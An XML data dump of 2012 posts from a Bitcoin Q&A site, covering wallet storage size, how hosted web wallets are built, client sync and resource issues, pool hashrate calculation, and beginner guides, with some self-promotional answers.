  <row Id="5279" PostTypeId="2" ParentId="4194" CreationDate="2012-11-07T02:06:33.753" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://howdoyoubuybitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;http://howdoyoubuybitcoins.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to be attempting to provide this info and keep it up to date.&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2012-11-07T02:06:33.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5281" PostTypeId="1" AcceptedAnswerId="5282" CreationDate="2012-11-07T07:08:15.617" Score="4" ViewCount="620" Body="&lt;p&gt;Say for an exchange that manages thousands of users, and each transaction needs a new receiving address, how much space would thier wallet(s) take. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming 100000 users and each user would have about 10000 transactions, so there are about 10^9 keys to be stored. For safety, we would say there are 10^10 keys max that may be stored. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I need to know is the size of one key stored in the wallet. &lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2012-11-07T09:06:50.743" Title="How big can a wallet get?" Tags="|wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5282" PostTypeId="2" ParentId="5281" CreationDate="2012-11-07T08:59:31.627" Score="3" Body="&lt;p&gt;The bitcoinj private keys are 32 bytes long. You would also want some sort of indexing around them so that you could access them efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you used a deterministic wallet you would only need one seed and a chain code per customer and generate the addresses as required. I think they are typically 32 or 64 bytes long. &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2012-11-07T09:06:50.743" LastActivityDate="2012-11-07T09:06:50.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5284" PostTypeId="2" ParentId="5220" CreationDate="2012-11-07T14:23:44.410" Score="0" Body="&lt;p&gt;And here you get paid up to 4 mBTC for viewing websites for 5 minutes &lt;a href=&quot;http://www.bitvisitor.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitvisitor.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2179" LastEditorUserId="2306" LastEditDate="2013-03-08T01:22:55.417" LastActivityDate="2013-03-08T01:22:55.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5287" PostTypeId="1" AcceptedAnswerId="5317" CreationDate="2012-11-08T01:55:21.330" Score="4" ViewCount="3124" Body="&lt;p&gt;How are popular online bitcoin wallets, like blockchaininfo's implemented? Why aren't they open-source?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2012-11-10T22:10:35.580" Title="How are popular bitcoin wallets implemented?" Tags="|wallet|e-wallet|blockchain-wallet-app|" AnswerCount="3" CommentCount="3" ClosedDate="2013-02-03T01:36:49.737" ContentLicense="CC BY-SA 3.0" />
  <row Id="5288" PostTypeId="2" ParentId="5287" CreationDate="2012-11-08T05:08:39.697" Score="1" Body="&lt;p&gt;If someone wishes to share their work with me, I am grateful.  But I do not expect that others are obligated to share their work.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-08T05:08:39.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5289" PostTypeId="2" ParentId="5287" CreationDate="2012-11-08T08:00:52.470" Score="3" Body="&lt;p&gt;As someone that has implemented a small eWallet, I suppose I can answer this question from my perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An implementation of an eWallet is fairly simple. Using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;official API&lt;/a&gt; makes everything come down to issuing correct JSON RPC calls. You generally have a bitcoind instance running on a server, along with your website front. The main problem is making sure that your site can distinguish between various people and make sure they can't access each other's money. In practice, it's fairly simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few implementation roads you can take with eWallets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can have one account per person, so as long as you can distinguish between people your website can be &quot;stateless&quot;, as in not keeping any data at all. I have implemented that and it wasn't hard.&lt;/li&gt;&#xA;&lt;li&gt;You can let each person have as many accounts as they wish. This requires some additional info to be stored on your website and to ensure your naming is unique. Also, not much of a problem, I have done it.&lt;/li&gt;&#xA;&lt;li&gt;You can move everyone's money into a shared pool and keep track of how much does each person have. Your website server needs to have a separate database of balances. A bit more tricky, you have to keep in mind such problems like double-spends and so forth not to credit scammers. As far as I know this is the most popular model for eWallets.&lt;/li&gt;&#xA;&lt;li&gt;Focus mainly on keeping user's private keys. This is an option used for example by &lt;a href=&quot;https://www.strongcoin.com/&quot; rel=&quot;nofollow&quot;&gt;StrongCoin&lt;/a&gt;. The website can fetch your balances from such services as &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;Block Explorer&lt;/a&gt;, decrypt your keys on your computer and let you create transactions there as well. An interesting model as it doesn't store all the private keys in one easily accessible wallet.dat to steal.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are a lot of concerns one needs to keep in mind when implementing an eWallet - mainly safety of your funds and so forth, but that's a topic for another question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why they aren't open source, well, I personally want to earn some money from my work, so I keep the source code for myself and anyone that commissions me for creating one for them. Other reasons not to go open source can be to avoid competition, or not to expose some potential security flaws in one's system.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-08T08:00:52.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5291" PostTypeId="1" CreationDate="2012-11-08T13:15:46.250" Score="5" ViewCount="580" Body="&lt;p&gt;I have used Bitcoin previously via Windows GUI miners, but never faced an issue like this before. I am now running Ubuntu 12.04 amd64 and using an updated 0.7.1 Satoshi client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sync looks like it is working, but the first block never loads. I have had the wallet synchronizing, but it is forever stuck at zero. My Internet connection is fine and have cleared the bitcoin directory and rebooted with no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I am writing this I am watching my other rig drop blocks fine and its running Mint 13 with about a third of the resources I have on the computer giving the issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be greatly appreciated. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UBUNTU 12.04 updated&lt;/li&gt;&#xA;&lt;li&gt;AMD Phenom IIx4&lt;/li&gt;&#xA;&lt;li&gt;4 GB ddr3&lt;/li&gt;&#xA;&lt;li&gt;Nvidia EVGA 9800GTX&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2185" LastEditorUserId="1409" LastEditDate="2012-11-24T10:55:12.310" LastActivityDate="2013-09-19T07:27:33.687" Title="My sync wont start, what can I do?" Tags="|blockchain|bitcoin-core|ubuntu|installation|synchronization|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5292" PostTypeId="1" CreationDate="2012-11-08T15:22:27.933" Score="3" ViewCount="154" Body="&lt;p&gt;I have written my own hardware implementation for hash computation. I am participating in a pool, that is I get sent the midstate and some data which should then be hashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder, whether there are any testvectors out there, that is I need input the midstate plus data, and see then whether my implementation finds the appropriate nonce that is also supplied with the testvectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your help,&#xA;Patrick &lt;/p&gt;&#xA;" OwnerUserId="2187" LastActivityDate="2012-11-10T11:15:08.793" Title="Testvectors for dedicated hardware miner" Tags="|protocol|bitcoind|testnet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5293" PostTypeId="2" ParentId="1350" CreationDate="2012-11-09T03:05:17.623" Score="7" Body="&lt;p&gt;In order to see hidden folders, such as &lt;code&gt;~/Library&lt;/code&gt; from Finder, simply hit &lt;code&gt;shift + ⌘ (command) + G&lt;/code&gt; which will GO to a folder, then paste in this location:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/Bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there, you will see all the files associated with your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having moved all my BTC to another location, I recovered more than 5 GB of storage space by deleting my local wallet.&lt;/p&gt;&#xA;" OwnerUserId="2190" LastEditorUserId="1409" LastEditDate="2012-11-23T23:09:06.190" LastActivityDate="2012-11-23T23:09:06.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5294" PostTypeId="1" CreationDate="2012-11-09T10:30:03.190" Score="4" ViewCount="339" Body="&lt;p&gt;I am running the standard client on a weak computer (Windows environment). It often is slow and unresponsive, and takes a noticeable chunk of the hard drive. I would want to replace it with some alternative client that offers the same functionality (mainly, running as server and supporting the standard Bitcoin API), while also consuming less system resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which Bitcoin client consumes the least system resources and is the best fit for weak computers?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-09T18:28:00.973" Title="I'm trying to run Bitcoin on a weak computer, which client consumes the least resources?" Tags="|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5295" PostTypeId="2" ParentId="5294" CreationDate="2012-11-09T12:23:09.457" Score="1" Body="&lt;p&gt;Bitcoin v0.8 (which hasn't been released yet. But you can build it from source and use it ... with a nearly empty wallet with backups and only a low amount of funds.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-09T12:23:09.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5297" PostTypeId="1" CreationDate="2012-11-09T13:24:25.700" Score="10" ViewCount="7112" Body="&lt;p&gt;I would like to introduce a number of people that are not necessarily tech-savvy to Bitcoin and instruct them how to make their first payments. Is there some &quot;Bitcoin for dummies&quot; guide that I could be referencing that would be understandable to anyone capable of using a computer and the internet payments?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2015-12-24T11:11:18.580" LastActivityDate="2019-11-20T01:09:51.483" Title="A &quot;Bitcoin for dummies&quot; guide?" Tags="|adoption|introducing-bitcoin|bitcoin-literature|" AnswerCount="8" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5299" PostTypeId="1" AcceptedAnswerId="5308" CreationDate="2012-11-09T17:37:37.700" Score="4" ViewCount="1524" Body="&lt;p&gt;I need to display the pool and worker hashrates on my website.&#xA;The pool uses PSQL.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="5406" LastEditDate="2015-06-02T15:17:23.913" LastActivityDate="2015-06-02T15:17:23.913" Title="What is the correct algorithm to calculate worker &amp; pool hashrate" Tags="|mining-pools|mining-pool-shares|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5300" PostTypeId="1" CreationDate="2012-11-09T17:41:10.073" Score="6" ViewCount="26801" Body="&lt;p&gt;I converted EURs into BTCs at Bitstamp.net with SEPA (I live in the in EU), so now the BTCs are sitting on my Bitstamp account, but what's the next step? How do I use and send these BTCs to an average 34 digit bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone write or explain step by step in nutshell what do I have to do, what other websites or programs do I have to use to transfer my bitcoins from Bitstamp to a 34 digit bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the possible ways of doing it?&lt;/p&gt;&#xA;" OwnerUserId="2193" LastEditorUserId="132" LastEditDate="2014-01-13T14:54:38.523" LastActivityDate="2022-11-22T14:57:39.940" Title="How to transfer funds from Bitstamp to a personal wallet?" Tags="|withdrawal|bitstamp|europe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5301" PostTypeId="2" ParentId="5294" CreationDate="2012-11-09T18:28:00.973" Score="3" Body="&lt;p&gt;There is a very useful comparison of the Bitcoin desktop clients here:&#xA;&lt;a href=&quot;http://dre.redmartian.org/compare.htm&quot; rel=&quot;nofollow&quot;&gt;http://dre.redmartian.org/compare.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order 'lighter' to 'heavier' there are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;electrum&lt;/p&gt;&#xA;&#xA;&lt;p&gt;multibit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind&lt;/p&gt;&#xA;&#xA;&lt;p&gt;armory + bitcoind&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the full bitcoind RPC API then only bitcoind will do however. In that case trying/ waiting for v0.8 is probably your best option. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-11-09T18:28:00.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5302" PostTypeId="2" ParentId="5297" CreationDate="2012-11-09T22:41:27.613" Score="3" Body="&lt;p&gt;I have created a page on the Wiki called &lt;a href=&quot;https://en.bitcoin.it/wiki/First-time_buyers_guide&quot; rel=&quot;nofollow&quot;&gt;&quot;First time buyers guide&quot;&lt;/a&gt;. It is only a rough version at the time of writing, but hopefully it will be revised into a go-to guide for anyone wanting to make a payment with Bitcoin with as little unnecessary information as possible.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-09T22:41:27.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5303" PostTypeId="2" ParentId="5297" CreationDate="2012-11-09T22:46:45.563" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinmagazine.net/category/bitcoin-newbies/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin magazine&lt;/a&gt; has a Bitcoin newbies section with introduction articles on various Bitcoin topics.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-11-09T22:46:45.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5304" PostTypeId="1" CreationDate="2012-11-09T23:35:11.157" Score="4" ViewCount="996" Body="&lt;p&gt;I am running the standard client on a micro Amazon EC2 instance. When I am synchronising Bitcoin with the network, it uses about 50% of the available CPU. After it is fully synchronised, I leave it alone and it cranks up to 100% by itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be causing the standard client to behave in this manner? Is it due to possibly high transaction volume, sharing information with peers, or perhaps something else?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-04-22T10:39:53.840" Title="Does Bitcoin-QT use more CPU when its idle than during synchronization?" Tags="|bitcoin-core|cpu|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5305" PostTypeId="2" ParentId="5300" CreationDate="2012-11-09T23:37:34.730" Score="3" Body="&lt;p&gt;Are you asking what option lets you withdraw from BitSTAMP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Across the top menu is Withdraw, and from there pick Bitcoin as the withdrawal method, which gives this link:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitstamp.net/account/withdraw/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/account/withdraw/bitcoin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now if you are asking where to withdraw your coins to, then that's a different question.  There is not just one answer because various options regarding security will determine the best way to proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking to store them for a long time, then a paper wallet, generated from an offline computer using a LiveOS might be the right recommendation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armory is another client that can be used offline and be very secure for storing bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps storing the funds using a hyrbrid EWallet, like the one from Blockchain.info/wallet is a good method because it provides a good tradeoff between convenience and security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others feel their coins are safe in a hosted (shared) EWallet provider like Coinbase, Paytunia or prefer to leave funds at an exchange even.  If the exchange has two-factor authentication (done properly) that will help prevent the situation where even if your computer is compromised you EWallet account is not at risk of a replay attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others want to run a full Bitcoin.org client themselves.  This is an undertaking as initial startup can take a day or longer to download the blockchain.  A future release of the Bitcoin.org client will make this initial and ongoing performance issue be much less of a burden.  Other clients, Simplified Payment Verification (SPV) clients, such as Multibit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinmagazine.net/bitcoin-wallet-options&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmagazine.net/bitcoin-wallet-options&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Mobile_Payment_Apps&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Mobile_Payment_Apps&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-09T23:37:34.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5306" PostTypeId="1" CreationDate="2012-11-09T23:49:53.220" Score="6" ViewCount="308" Body="&lt;p&gt;Which of the alternative clients support any/some/all of the standard &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot;&gt;API calls&lt;/a&gt;? I am looking for a possible alternative client to replace Bitcoind on my server.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-10T02:09:13.283" Title="Alternative clients and the Bitcoin API" Tags="|client|alternatives|json-rpc|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5307" PostTypeId="2" ParentId="5306" CreationDate="2012-11-10T02:09:13.283" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;http://blockchain.info/api/json_rpc_api&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info API&lt;/a&gt; includes Bitcoind as a JSON webservice. It's pretty cool.&lt;/p&gt;&#xA;" OwnerUserId="1731" LastActivityDate="2012-11-10T02:09:13.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5308" PostTypeId="2" ParentId="5299" CreationDate="2012-11-10T08:39:15.683" Score="3" Body="&lt;p&gt;hashesPerSecond = math.pow(2, 32) * proofsOfWork / secondsElapsed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where proofsOfWork is the number of difficulty 1 proofs of work (aka shares) that the user or pool has found during secondsElapsed seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use variable difficulty, then you can count a proof of work from someone mining at difficulty X the same as X proofs of work at difficulty 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For mhps divide by 1e6. For ghps divide by 1e9. And so on..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;math.pow(2, 32) == 4294967296&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-11-10T08:39:15.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5310" PostTypeId="2" ParentId="5292" CreationDate="2012-11-10T11:15:08.793" Score="1" Body="&lt;p&gt;The block headers in the blockchain are your test vectors, they already contain the appropriate nonce. Midstate can be computed from these headers, mining software does such a midstate computation (so crib this bit from their source code).&lt;/p&gt;&#xA;" OwnerUserId="2198" LastActivityDate="2012-11-10T11:15:08.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5311" PostTypeId="2" ParentId="4911" CreationDate="2012-11-10T19:40:54.600" Score="6" Body="&lt;p&gt;A new book called Bitcoin Step by Step is out on Kindle.&#xA;&lt;BR&gt;&#xA;&lt;BR&gt;&#xA;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00A1CUQQU&quot;&gt;http://www.amazon.com/dp/B00A1CUQQU&lt;/a&gt;&lt;BR&gt;&#xA;&lt;BR&gt;&#xA;It will get users started safe and secure in the Bitcoin market place.  It takes them screen by screen &lt;BR&gt;&#xA;- on how to set up a wallet securely&lt;BR&gt;&#xA;- Funding an account&lt;BR&gt;&#xA;- sending / receiving BTC&lt;BR&gt;&#xA;- Extracting BTC to currency&lt;BR&gt;&#xA;- Where they can spend BTC&lt;BR&gt;&#xA;- How they can earn BTC&lt;BR&gt;&lt;/p&gt;&#xA;" OwnerUserId="2199" LastEditorUserId="2199" LastEditDate="2012-11-10T19:56:21.163" LastActivityDate="2012-11-10T19:56:21.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5312" PostTypeId="2" ParentId="3262" CreationDate="2012-11-10T19:49:09.447" Score="2" Body="&lt;p&gt;There are a couple of books on Kindle that might help you get started.  The best way to really understand Bitcoins is to create a wallet and fund it with a few Bitcoins then use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start safe and securely check this book on Kindle out: &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00A1CUQQU&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/dp/B00A1CUQQU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2012-11-10T19:49:09.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5313" PostTypeId="2" ParentId="4893" CreationDate="2012-11-10T19:52:26.037" Score="1" Body="&lt;p&gt;I put together a Kindle book, &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00A1CUQQU&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Step by Step&lt;/a&gt;, that covers some best practices.  When I was writing I searched the web for what ever I could find trying to make sure what I suggested was indeed the current best practices.  &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00A1CUQQU&quot; rel=&quot;nofollow&quot;&gt;You can find it on Kindle&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastEditorUserId="1409" LastEditDate="2012-11-24T10:55:40.047" LastActivityDate="2012-11-24T10:55:40.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5316" PostTypeId="2" ParentId="16" CreationDate="2012-11-10T20:03:20.137" Score="-1" Body="&lt;p&gt;I suggest the book Bitcoin Step by Step which can be found on Kindle.&lt;BR&gt;&#xA;&lt;BR&gt;&#xA;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00A1CUQQU&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/dp/B00A1CUQQU&lt;/a&gt;&lt;BR&gt;&#xA;&lt;BR&gt;&#xA;It will get users started safe and secure in the Bitcoin market place.  It takes them screen by screen &lt;BR&gt;&#xA;- on how to set up a wallet securely&lt;BR&gt;&#xA;- Funding an account&lt;BR&gt;&#xA;- sending / receiving BTC&lt;BR&gt;&#xA;- Extracting BTC to currency&lt;BR&gt;&#xA;- Where they can spend BTC&lt;BR&gt;&#xA;- How they can earn BTC&lt;BR&gt;&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2012-11-10T20:03:20.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5317" PostTypeId="2" ParentId="5287" CreationDate="2012-11-10T21:14:09.567" Score="12" Body="&lt;p&gt;&lt;em&gt;Accuracy not guaranteed&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blockchain.info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wallets are json files. The json file is encrypted using AES (&lt;a href=&quot;http://code.google.com/p/crypto-js/&quot;&gt;crypto-js&lt;/a&gt;) before the browsers asks that it be stored on the server.&lt;/li&gt;&#xA;&lt;li&gt;The wallet file is embedded in the login page as a html data attribute, the browser decrypts the file with the provided password and extracts a list of private keys and addresses.&lt;/li&gt;&#xA;&lt;li&gt;The browser then asks blockchain info the balance and list of recent transactions for the decrypted addresses.&lt;/li&gt;&#xA;&lt;li&gt;Upon sending the browsers asks blockchain.info for a list of unspent outputs. Then selects the outputs constructs and signs the transaction itself (&lt;a href=&quot;http://bitcoinjs.org&quot;&gt;bitcoin-js&lt;/a&gt;). When ready the transaction is serialised and sent to bloackchain for broadcasting to the bitcoin network.&lt;/li&gt;&#xA;&lt;li&gt;Authentication is done using a unique &quot;Shared Key&quot; contained within the wallet file rather than the users password.&lt;/li&gt;&#xA;&lt;li&gt;Server side we use 4 servers running &lt;a href=&quot;http://www.mysql.com/products/cluster/&quot;&gt;MySQL cluster&lt;/a&gt; and java. A modified bitcoind client is used to populate the database.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://blockchain.info/wallet/how-it-works&quot;&gt;How It Works&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Strongcoin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Similar to blockchain.info with client side encryption.&lt;/li&gt;&#xA;&lt;li&gt;Private keys are stored individually on the server as a database entry rather than in a single wallet file. &lt;/li&gt;&#xA;&lt;li&gt;Authentication is done server side using traditional Sessions.  &lt;/li&gt;&#xA;&lt;li&gt;Transaction construction and signing is all done in javascript.&lt;/li&gt;&#xA;&lt;li&gt;Uses blockchain.info or blockexplorer.com to query balances of addresses. Uses blockchain.info to broadcast transactions.&lt;/li&gt;&#xA;&lt;li&gt;Server side uses &lt;a href=&quot;http://rubyonrails.org&quot;&gt;Ruby on Rails&lt;/a&gt; and &lt;a href=&quot;http://www.heroku.com&quot;&gt;Heroku&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Coinbase&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Server side uses &lt;a href=&quot;http://rubyonrails.org&quot;&gt;Ruby on Rails&lt;/a&gt; and &lt;a href=&quot;http://www.heroku.com&quot;&gt;Heroku&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Custom &lt;a href=&quot;http://www.mongodb.org&quot;&gt;MongoDB&lt;/a&gt; database to query balance of addresses.&lt;/li&gt;&#xA;&lt;li&gt;Server selects outputs, constructs and broadcasts transactions.&lt;/li&gt;&#xA;&lt;li&gt;Authentication is done server side using traditional Sessions.  &lt;/li&gt;&#xA;&lt;li&gt;The web app directly connects to the bitcoin network using &lt;a href=&quot;https://github.com/lian/bitcoin-ruby&quot;&gt;Bitcoin-Ruby&lt;/a&gt; to populate the database.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What are they not open source?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are commercial enterprises with a large amount of development time invested. The code being open source would a) increase competition b) cause identical phishing sites to popup c) clones maybe be hacked or run by scammers damaging the reputation of the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parts of blockchain.info are &lt;a href=&quot;https://github.com/blockchain/&quot;&gt;open source&lt;/a&gt;. I personally hope the rest of the site will be fully open sourced one day but there is much to plan. If the code is just dumped it will not benefit anyone.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2012-11-10T22:10:35.580" LastActivityDate="2012-11-10T22:10:35.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5318" PostTypeId="2" ParentId="5297" CreationDate="2012-11-11T02:12:44.640" Score="0" Body="&lt;p&gt;I run &lt;a href=&quot;http://howdoyoubuybitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;http://howdoyoubuybitcoins.com/&lt;/a&gt; to help people BUY bitcoins. I know it's not quite what you asked, but before you can make your first payment, you have to get bitcoins. Please help us improve the guide!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Thank you for pointing out the error with QuickBitcoins! If you look in our top nav, we cover quite a few locations, companies, and methods of payment.&lt;/p&gt;&#xA;" OwnerUserId="2200" LastEditorUserId="2206" LastEditDate="2012-11-11T21:34:53.157" LastActivityDate="2012-11-11T21:34:53.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5319" PostTypeId="1" AcceptedAnswerId="5320" CreationDate="2012-11-11T05:14:53.693" Score="3" ViewCount="5359" Body="&lt;p&gt;I know the Satoshi Nakamoto profile: &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=3&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?action=profile;u=3&lt;/a&gt; and his public key: &lt;a href=&quot;http://forum.bitcoin.org/Satoshi_Nakamoto.asc&quot; rel=&quot;nofollow&quot;&gt;http://forum.bitcoin.org/Satoshi_Nakamoto.asc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I know maybe Satoshi is not a real person, but a pseudonymous of a group of people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is a way to send a message to Satoshi? Is there a public email? Any kind of contact?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2021-10-05T07:59:05.373" Title="What is the email of Satoshi Nakamoto?" Tags="|satoshi-nakamoto|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5320" PostTypeId="2" ParentId="5319" CreationDate="2012-11-11T05:21:55.257" Score="4" Body="&lt;p&gt;The email he used was satoshin@gmx.com.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-11-11T05:21:55.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
